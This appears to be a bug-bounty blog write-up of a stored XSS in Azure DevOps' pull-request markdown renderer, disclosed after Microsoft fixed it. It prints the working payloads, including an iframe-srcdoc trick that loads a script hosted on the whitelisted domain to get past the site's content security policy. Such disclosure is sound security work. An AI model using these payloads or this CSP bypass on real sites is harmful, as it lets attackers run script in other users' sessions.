How I alert(1) in Azure DevOps

Microsoft have launched a new bounty program targeting to the Azure DevOps. A new program is always easier for bug hunting. Let’s go for it!

Our target is https://dev.azure.com , which is a git web server implemented by Microsoft. I found a XSS bug in the markdown editor.

When creating a pull request, people can add some comments using markdown. Some feature is not well escaped by the markdown render, which leads to XSS.

I just copy & paste a huge collection of XSS payloads provided by @ZephrFish, browser redirects me to a strange url. I tried to find the minimum payload, and after lots of try, I found if I put html tags in two $ and a % must also appear there, the html tags would magically be rendered in the output as it is! A sample payload is as follows.

1
$%<img src=1>$

I tried to use img’s onerror action to triger XSS, nothing happened. I saw following errors in the chrome’s console.

1?_a=overview:1 Refused to execute inline event handler because it violates the following Content Security Policy directive: “script-src ‘unsafe-inline’ .visualstudio.com .dev.azure.com dev.azure.com https://cdn.vsassets.io https://vsassetscdn.azure.cn https://ms.gallery.vsassets.io https://ms.gallerycdn.vsassets.io https://ms.gallerycdn.azure.cn .ensighten.com .microsoft.com *.google-analytics.com ‘nonce-JNv3ZUluxXSBwNijHMtlKg==’”. Note that ‘unsafe-inline’ is ignored if either a hash or nonce value is present in the source list.

Aha, it is blocked by CSP. ‘unsafe-inline’ is ignored if either a hash or nonce value is present in the source list.

And when I tried to use <script>alert(1)</script>, it said it was blocked because of unsafe-eval.

OK, as dev.azure.com itself is whitelisted, I choose to point script tag’s src to a repo file which contains my payload.


WTF??? It seems script tag is hooked by a frontend framework. I need to either find some way to bypass the CSP, or bypass the hook.

I get the full CSP below.

content-security-policy: default-src 'none'; font-src *.visualstudio.com *.dev.azure.com dev.azure.com *.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn *.microsoft.com *.sharepointonline.com; style-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com cdn.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn; connect-src *.visualstudio.com wss://*.visualstudio.com *.dev.azure.com dev.azure.com wss://*.dev.azure.com wss://dev.azure.com *.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn *.blob.core.windows.net; img-src http: https: blob: data:; script-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com https://cdn.vsassets.io https://vsassetscdn.azure.cn https://ms.gallery.vsassets.io https://ms.gallerycdn.vsassets.io https://ms.gallerycdn.azure.cn *.ensighten.com *.microsoft.com *.google-analytics.com 'nonce-BByveBAMp0eRn6Ll29C7Lw=='; child-src * blob: tfs:; frame-src * blob: tfs:; media-src http: https:;

frame-src * blob: tfs:; caught my eye. I can use iframe to isolate the hook for script tag!

The final payload is

1
2
3
$
<iframe srcdoc="<script src='https://dev.azure.com/md5_salt/deadbeef-1337-1337-1337-1337/_apis/git/repositories/deadbeef-1337-1337-1337-1337/Items?path=%2F1.js&versionDescriptor%5BversionOptions%5D=0&versionDescriptor%5BversionType%5D=0&versionDescriptor%5Bversion%5D=master&download=true&resolveLfs=true&%24format=octetStream&api-version=5.0-preview.1'></script>"></iframe>
$

And finally the alert box popped up! XD

Timeline:

  • 01/19/2019 reported to Microsoft
  • 01/25/2019 Microsoft confirmed the issue
  • 02/06/2019 CVE-2019-0742 is assigned and acknowledged; ask for disclosing the details (already fixed)
  • 02/07/2019 Microsoft agreed for disclosing after fix
  • 02/26/2019 publicly disclosed
分享到 评论